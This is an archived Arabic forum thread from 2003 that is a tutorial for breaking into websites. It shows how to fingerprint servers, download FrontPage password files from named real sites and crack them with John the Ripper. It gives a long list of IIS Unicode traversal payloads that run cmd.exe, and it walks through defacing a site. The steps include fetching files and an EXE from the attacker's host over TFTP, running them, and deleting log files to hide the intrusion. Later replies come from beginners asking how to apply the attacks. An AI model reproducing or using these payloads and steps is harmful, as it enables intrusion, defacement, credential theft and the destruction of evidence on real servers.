مشاهدة النسخة كاملة : اول خطوة في اختراق المواقع واللي هي اخذ المعلومات
أبو خالد
03-02-2003, 09:46
يعني نعرف الموقع الفلاني شنهو الملقم اللي شغال عليه والنظام والخدمات اللي يدعمها.
الملقمات اشهرها اثنين
IIS: من مايكروسوفت وهذه مليانة ثغرات. (ومواقع قليل مقفلة ثغراتها)
apache: من مجموعة مبرمجين متوزعين في انحاء العالم واختراقها شبه صعب.
طيب
الحين عندنا موقع
وشلون نعرف نظام التشغيل والملقم والخدمات والمعلومات كلها
عندك الموقع http://www.netcraft.net
ادخله
تلاقي مربع
هنا تحط فيه الموقع اللي تبي تعرف المعلومات اللي فوق
مثلا نحط موقع البيت الابيض اللي هو whitehouse.org
ملاحظة: نكتبه من غير http:// ولا / اللي بالاخير
http://uptime.netcraft.com/up/graph....whitehouse.org
راح يطلع لنا التالي
The site www.whitehouse.org is running Microsoft-IIS/5.0 on Windows 2000
طيب
الحين عرفنا معلومتين مهمتين
اول شيء انه شغال على الملقم IIS5.0
ثاني شيء شغال على نظام ويندوز 2000
حلو
اول شيء نجرب ثغرات IIS5.0 عليه (راح احطها بعد الموضوع)
إذا مانفع شيء نشوف ثغرات نظام ويندوز 2000 (راح احط الموقع بعد الموضوع)
طيب
الحين فيه حاجة اسمها يوني كود
هذه تخترق فيها عن طريق المتصفح
وماتمشي إلا مع ملقمات IIS وهي عبارة عن عناوين طويلة تحطها بعد عنوان الموقع. راح احط امثلة عليها.
طيب لنفرض انه ماطلع فيها ثغرات؟
نشوف محتويات الموقع نفسه
نشوف إن كان عنده سجل زوار او منتدى او او او ونطلع ثغراتها من الموقع اللي راح ارفقه في الرد اللي بعد الموضوع.
طيب لو كان السيرفر اباتشي؟
خلونا ناخذ مثال موقع ارانك www.arank.com
لو حللناه بالنيت كرافت راح نشوف النتيجة التالية
The site www.arank.com is running Apache/1.3.20 (Unix) mod_gzip/1.3.19.1a mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6 mod_log_bytes/0.3 FrontPage/5.0.2.2510 mod_ssl/2.8.4 OpenSSL/0.9.6 on Linux
طيب هنا يهمنا ثلاث اشياء
الملقم وهو apache 1.3.20 و دعم فرونت بيج FrontPage/5.0.2.2510 وهذه مليانة ثغرات والثالث النظام وهو Linux
طيب
الملقم
اول شيء اباتشي من الملقمات الصعبة الإختراق إلا بعض الإصدارات منها فنحط هذه على جنب.
نشوف دعم الفرونت بيج
زي ماقلنا الفرونت بيج مليان ثغرات
وثغراته قوية وكثيرة تقريبا
منها مجلد _vti_pvt و _private هذه اللي نحتاجها غيره مامنه فايدة
داخل المجلدين راح نلاقي اربع ملفات مهمة وهي service.pwd و users.pwd و authors.pwd و adminstators.pwd ويعتبر هذا اخطر ملف
طيب لو قدرنا ننزل واحد من الملفات هذه (ملاحظة الثغرة هذه موجودة ب 70% من المواقع الموجودة عالنت) لو نزلناها نفتحها بالمفكرة ونلاقي السطر هذا على سبيل المثال
goodyco:CalXS8USl4TGM
وهذا من موقع قودي http://www.goody.com.sa/_vti_pvt/service.pwd
طيب الحين goodyco اليوزر والباسس مشفر واللي هو CalXS8USl4TGM
وشلون ينفك؟ ينفك ببرنامج اسمه john the repaier
تنزله وتحط الملف المشفر (مع اليوزر) بمجلد واحد وتفتح الدوس وتروح لمجلد جوهن وتكتب السطر التالي john -i PASSWORD.FILE
وعاد استناه يطلع لك الباسس
طيب نروح للفقرة الثالثة واللي هي النظام
زي ماشفنا النظام هو لينكس
لكن لينكس ايش؟ فيه ريد هات و ماندريك وفيه منه إصدارت كثير وثغرات اكثر
لكن هنا راح تواجهك مشكلتين
اول شيء معرفة النظام تقدر تطلعه من ابدا وتشغيل ول telnet واكتب عنوان الموقع يطلع لك النظام فوق نوعه وإصدارته
المشكلة الثانية لازم يكون عندك لينكس اصلا
علشان ثغراته بلغة ال c وهذه ماتشتغل إلا عاللينكس فقط
================
http://neworder.box.sk/ هذا الموقع مفيد جدا تكتب مثلا (فوق بالمربع اللي عاليمين) IIS او apache او منتدى واصدارته او اي برنامج ويطلع لك ثغراته
http://www.ussrback.com/ الموقع هذا خطير جداً جداً تروح ل EXPLOITS اللي عاليسار وتختار اول اختيار هنا ثغرات جميع الانظمة من لينكس و ويندوز و و و الخ.. ومنوعة من c و perl و يوني كود
أبدعت والله موضوع سهل ومتكامل
|4|
أبو خالد
08-03-2003, 10:33
معلومات عامه على كيفية الاستفاده من ثغرات اليونيكود
### ### ### ### ترجم من قبل بلاك هنتر ### ### ###
- - -- - - -- - -- -- -- - - -- - - جميع الحقوق محفوظه لكاتب الملف - - -- - - -- - -- - - -- - -
تم تعريب الملف من قبل :
الاخ / بلاك هنتر
الموضوع الاصلي باللغه : الالمانيه
الموضوع يتكلم عن اساليب التحكم في السيرفر عبر اليونيكود مع بعض المتطلبات
ملحوظه : ان الموضوع الذي امامك قد تعبت فيه كثيرا فلا تنساني عند نسخ الموضوع
__________________________________________________
___________
الادوات المطلوبه :
1) اداة مسح ثغرات يونيكود
2) برنامج سيرفر TFTPD
3) معرفة جيده باليونيكود
=================================================
=================================================
1) بأمكانك الحصول على ثغرات اليونيكود من العديد من المواقع او من موقعي
http://www.devil2k.com
وهذه مهداه مني انا (( بلاك هنتر ))
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25% 35%63../winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25% 35%63../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/s***pts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+dir+c:\
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
2) بأمكانك الحصول على برنامج TFTPD من الموقع
http://iisbughelp.4t.com
3) معرفة اليونيكود بسيطه جدا يكفي ان تعرف كيف تستطيع الانتقال عبر الهارديسكات وعبر الملفات
(تعمل عبر المتصفح )
/[s***pts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
لقرائه ما بداخل هارديسك \:C
/[s***pts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+D:\
لقرائه ما بداخل هارديسك \
/[s***pts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+E:\
لقرائه ما بداخل هارديسك \:E
نقوم بعمل سكان على الموقع لنرى ما به من ثغرات وهنا مثال على ثغرات مبتدأه بالمجلد المطلوب (( اغلب ثغرات اليونيكود تنطلق من هذه المجلدات ))
1)مثال المجلد msadc
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
2) مثال المجلد _vti_bin
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
في سيرفرات IIS عند تركيبها (( بشكل عادي )) يكون المجلد الرئيسي للويب تحت اسم معين وهو :
C:\Inetpub\wwwroot
او في المجلد
D:\Inetpub\wwwroot
او في المجلد
E:\Inetpub\wwwroot
في العاده يكون في الهارديسك C ولذلك سأكمل شرحي على انه هناك
ستجد في هذا المجلد عادة جميع المواقع التي على السيرفر
فلو وجدنا ثغرة يونيكود ما ولتكن
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
وأردنا الولوج الى هذا الملف لنرى ما به فسنكتب الثغره هكذا :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\Inetpub\wwwroot
اذا كان السيرفر يحوي عدة مواقع فستجدها كل موقع باسمه ( ستجدها في مجلدات بداخل مجلد الـ wwwroot ) اما لو كان السيرفر عباره
عن موقع واحد فقط فستجد كافة الملفات في مجلد الـ wwwroot نفسه
في اغلب الظن يقوم الهاكر بتغيير الصفحة الرئيسيه الاولى وعليك ان تعلم انه ليس دائما الصفحة الرئيسيه الاولى تحمل اسم index.htm
هناك عدة تسميات وأختصارات لها وهذه بعضها (( معظمها ))
index.htm
index.asp
default.htm
default.asp
main.htm
main.asp
لنفرض الان اننا وجدنا ان الصفحة الرئيسيه للموقع في مجلدنا wwwroot هي index.htm فكيف سنقوم بتغييرها وهو ما يهمنا تقريبا من عملية
الاختراق هذه
سنقوم اولا بتغيير اسم الملف من index.htm الى اي اسم اخر يخطر ببالك وليكن ss.htm
طبعا سنرسل الامر عبر ثغرة اليونيكود من المتصفح لديك وسنقوم بتغيير الداله c+dir الى الداله c+ren
(( عليك ان تعرف ان الاوامر التي سوتضع هي نفس الاوامر الموجوده في Dos وفي Command Prompt فعليك ان تكون عارفا بما هو الامر المراد استخدامه
المهم ستكتب الثغره هكذا :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+ren+C:\Inetpub\wwwroot\index.htm+ss.htm
وهكذا فقد تم تغيير اسم الصفحة من index.htm الى ss.htm
ارأيتم كم هو سهل ؟
Aيبدو انك ايها المخترق لم تكتفي باغلاق الصفحة الرئيسيه للموقع فانت تريد ان تضع صفحة بموضوع اخر وليكن الموضوع هو
Hacked!!!
فكيف سنرسلها في صفحة index.htm ؟؟
هناك عدة طرق ومنها سأذكر هذه الطريقه وهي عبر الاتصال بمنفذ TFTP الذي ستكون فيه انت في وضع السيرفر والموقع الذي امامك
في وضع الكلاينت
كيف سيتم هذا ؟
اولا قم بتركيب نظام سيرفر TFTP على جهازك ( البرنامج المذكور في اول الموضوع من افضل البرامج وهناك برنامج اخر اكثر احترافا ولكن هذا يكفي )
الان ضع السيرفر الرئيسي في \:C لديك
قم بتصميم صفحة خفيفه وسريعه وسمها index.htm وضعها في \:C
الان نريد ان نرسل للسيرفر الملف الجديد من \:C لدينا الى ملف
C:\inetpub\wwwroot
لا ليس الامر صعبا ففي نظم ميكروسوفت يوجد امر (( هو بالأصح برنامجا منفصلا )) يحمل اسم TFTP وهو عباره عن كلاينت بسيط يستخدم
بروتوكول TFTP وهو بروتوكول بسيط جدا جدا (( يسميه البعض البروتوكول التافه )) يقوم بسحب او ارسال الملفات من والى الجهاز
نحن نريد ان يسحب ملفا من جهازنا فكيف لنا ذلك ؟
طبعا لو كنا في غير اليونيكود لكتبنا توليفة الامر التالي :
tftp.exe -i XXX.XXX.XXX.XXX get index.htm C:\inetpub\wwwroot\index.htm
(( XXX.XXX.XXX.XXX تعني اي بي السيرفر المراد سحب الملف منه ))
في توليفة هذا الامر يقوم الكلاينت بطلب الملف المسمى index.htm ليضعه في جهازه في المجلد wwwroot
ولكن لا تنسى فشكل توليفة الاوامر يختلف من الوضع العادي عن وضع اليونيكود
فما هو الحل ؟
الحل هو ان تحول توليفة الامر الى يونيكود لتضعه في الثغره التي لديك
بعد تحويل الامر الى يونيكود سيصبح شكله كالتالي :
tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\ index.htm
ياللروعه لقد تجاوزنا العقبه بالفعل
الان قم بتشغيل سيرفر الـ TFTP وقم بتجهيز ملف الـ index.htm
وقم بالاتصال مع الموقع عبر ثغرة اليونيكود المضاف اليها هذه التوليفه ليصبح في النهايه على هذا النحو :
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\ index.htm
وهكذا قمنا بتحميل الصفحة الى الانترنت وانتيهنا من عملية الاختراق (( تقريبا ))
ملحوظه : يمكنك ان تقوم بتحميل ملفات EXE ايضا وتشغيلها على السيرفر بنفس الاسلوب وهذا مثال :
لنفرض اننا نريد تحميل ملف EXE على السيرفر وسميناه hunter.exe ونريد تشغيله فكيف لنا ذلك ؟
سنتبع الاتي :
نقوم بتحميل الملف على السيرفر كما قمنا بتحميل index.htm ونضعه في \:C للسيرفر عبر هذه التوليفه :
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+hunter.exe+C:\hunter.exe
بعد ان يتم تحميل الملف سنشغله عبر تنفيذ هذا الامر
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../hunter.exe
او عن طريق هذا الامر
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+hunter.exe
الآن وقد قاربنا على الانتهاء بقي لدينا في السيرفر عمل واحد فقط الا وهو مسح ملفات اللوج log.* وسيكون ذلك عن طريق هذا الامر :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+C:\*.log/s
هناك انواع اخرى من الملفات يتم تخزين فيها بعض المعلومات ويفضل مسحها ايضا وهي مثل الملفات ذات الامتداد tmp
وهذا امر مسحها عبر اليونيكود :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+C:\*.tmp/s
ايضا ملحوظه مهمه وهي ان لا تبقى اي معلومات عنك في السيرفر كما يفعل البعض بذكر اسمائهم او ايميلاتهم الحقيقيه قم بمسح اي شيء يدل عليك
او على عملية الاختراق (( حاول ان تصل الى هذا المستوى ))
هناك عدد من الاشياء والافكار لن اتطرق اليها مثل ارسال فايروس ما او امر على ملف bat حتى تتمكن من وضع مشكله كبيره في السيرفر لكي لا يعمل
او ان ترسل فايروس يقوم بمحو جميع ملفات النظام او ان تمرز نفسك لديهم في السيرفر عن طريق برامج التحكم عن بعد و اخفائها بشكل جيد
في المجلدات ذات الملفات الكثير (( مثل system32 )) والكثير الكثير
__________________________________________________
______________________________
ملحوظات : لن تعمل هذه الثغره في كل الحالات فهناك بعض السيرفرات يقومون بقطع الطريق عليك عن طريق مسح ملف tftp من سيرفراتهم
(( الملف المسؤول عن ذلك موجود في المجلد system32 )) وبعض السيرفرات قامت بعملية الترقيع (( اصدرت ميكروسوفت ترقيعا لهذه الثغره ))
وبعضهم قد يكون واضع فاير وول يقوم بمراقبة الباكيج الصادر والوارد وقد يقوم بعمل اصطياد لمثل هذه العمليات
واخرون يقومون بتركيب برنامج الحمايه القوي جدا في نظم IIS الا وهو Secure IIS من شركة Eeye
والعديد العديد من العقبات ولكن عند كتابة هذا الموضوع (( قبل حوالي اربعة اشهر )) كان ما يقارب 90% من السيرفرات التي فيها نظام IIS
تحوي هذه الثغره وبدون ترقيع (( لعدم وجوده وقتها )) او لأهمال المدير
__________________________________________________
____________________________
اتمنى ان يعجبكم الدرس البسيط هذا وسأقوم بشكر دروس اخرى او تعريب دروس اخرى في المستقبل العاجل عن هذه النوعيه من الثغرات التي تعتبر
اخطر ثغرات مرت على سيرفرات IIS بعد فايروس نيمدا وكود ريد
اتمنى ان تستفيدوا وان يعجبكم هذا الموضوع البسيط
تحياتي
يجب عليسك قراءتها ولا تيأس لطولها
|2|
الهكر الصغير2
16-03-2003, 12:52
أخي بحثت في موقع http://www.netcraft.net
طلع لي هاذي الرسالة
The site www.hatab.com is running tigershark/3.0.91 (dn1.directnic.com) on FreeBSD
بس يا شبااااب كيف نكتشف الثغرات للموقع وبأي برنامج
hi_HaCkEr
16-03-2003, 08:43
هذه الرسالة صحيحة
فالموقع شغال على سيرفر يسمى tigershark يعني ما تقدر تطبق اليونيكود عليه لانه ليس من اصدار مايكروسوفت المسماة IIS
وابحث عن ثغراته في مواقع الحماية او ابحث في جوجل بهذه الصيغة
tigershark exploit
وهذا الموقع شغال على نظام ال free Bsd وله ثغرات عديدة ابحث عنها في مواقع السيكيورتي
تحياتي
dtwrap2003
29-03-2003, 11:03
لقد جربة هذا الموقعhttp://www.elisslb.com في موقع
http://http://www.netcraft.net فضهر لي هكذا
The site www.elissalb.com is running unknown on unknown. فما معنى ذالك
فلسطين في القلب
29-03-2003, 11:45
معناتوو ما في موقع اسمه http://www.elisslb.com تأكد من اسم الموقع|4||4||4||4|
هو يقلك النظام وبرنامج السيرفر مش معروف في الموقع هذا
بس الموقع موجود عادي
|4|
dtwrap2003
30-03-2003, 05:50
يا اخي ادخل الى الموقع ترى كلوا فلاش هل هنالك ثغرة فلاش
redsignal
12-05-2003, 04:11
مشاء الله عليكم
زين شباب حبه حبه علينا
عرفت نظام التشغيل و عرفت الثغره فكيف اتعامل معها و خاصه ثغره الفرنت بيج و طبعا هي الاسهل
فياليت شرح مبسط بعد ما اخذ (( FrontPage/5.0.2.2510 mod_ssl/2.8.12 ))
الخطوه الي بعدها وش بتكون
والف شكر
السلام عليكم
اخوووي انا ماشي معاك صح وافهم بس الثغرات كيف اطبقها وكيف اخترق الموقع عن طريقها فين اضعها وين اكتبها والا الباقي كله واضح الله يعطيك العافيه
هكر مستخف
04-06-2003, 10:07
شوف الرنامج تراه يساعدكم كثير والشرح موجودمع لبرنامج
الاخوه الاعزاء
اخوكم مبتداء ووجدت ثغره لاحدى المواقع التي احاول ان اتعلم عليها ولكن كيف استطيع ان اخترق الموقع او بالاصح كيف يمكن احظار الملفات التي ذكرها اخي ابو خالد في النص (
منها مجلد _vti_pvt و _private هذه اللي نحتاجها غيره مامنه فايدة
داخل المجلدين راح نلاقي اربع ملفات مهمة وهي service.pwd و users.pwd و authors.pwd و adminstators.pwd ويعتبر هذا اخطر ملف
طيب لو قدرنا ننزل واحد من الملفات هذه (ملاحظة الثغرة هذه موجودة ب 70% من المواقع الموجودة عالنت) لو نزلناها نفتحها بالمفكرة ونلاقي السطر هذا على سبيل المثال
goodyco:CalXS8USl4TGM )
فمن هذه النقطه بدأ الالتباس لدي ..
تحياتي للجميع
الاخوه الاعزاء
اخوكم مبتداء ووجدت ثغره لاحدى المواقع التي احاول ان اتعلم عليها ولكن كيف استطيع ان اخترق الموقع او بالاصح كيف يمكن احظار الملفات التي ذكرها اخي ابو خالد في النص (
منها مجلد _vti_pvt و _private هذه اللي نحتاجها غيره مامنه فايدة
داخل المجلدين راح نلاقي اربع ملفات مهمة وهي service.pwd و users.pwd و authors.pwd و adminstators.pwd ويعتبر هذا اخطر ملف
طيب لو قدرنا ننزل واحد من الملفات هذه (ملاحظة الثغرة هذه موجودة ب 70% من المواقع الموجودة عالنت) لو نزلناها نفتحها بالمفكرة ونلاقي السطر هذا على سبيل المثال
goodyco:CalXS8USl4TGM )
فمن هذه النقطه بدأ الالتباس لدي ..
تحياتي للجميع
أبو مرزوق
16-10-2008, 09:00
مشكور الله يعطيك العافية
medo-star
09-11-2008, 03:38
موفق بإذن الله ... لك مني أجمل تحية .
تـَنبيهٌ؛ إداريٌّ:
( يُمنعُ )؛ إضافَةُ رَوابِطَ غير ذاتِ صلةٍ بالمَوضوعِ.
:: قوانينُ وشُروط مُنتديات العاصفة (http://www.3asfh.com/vb/showthread.php?t=53456) ::
شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية
Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd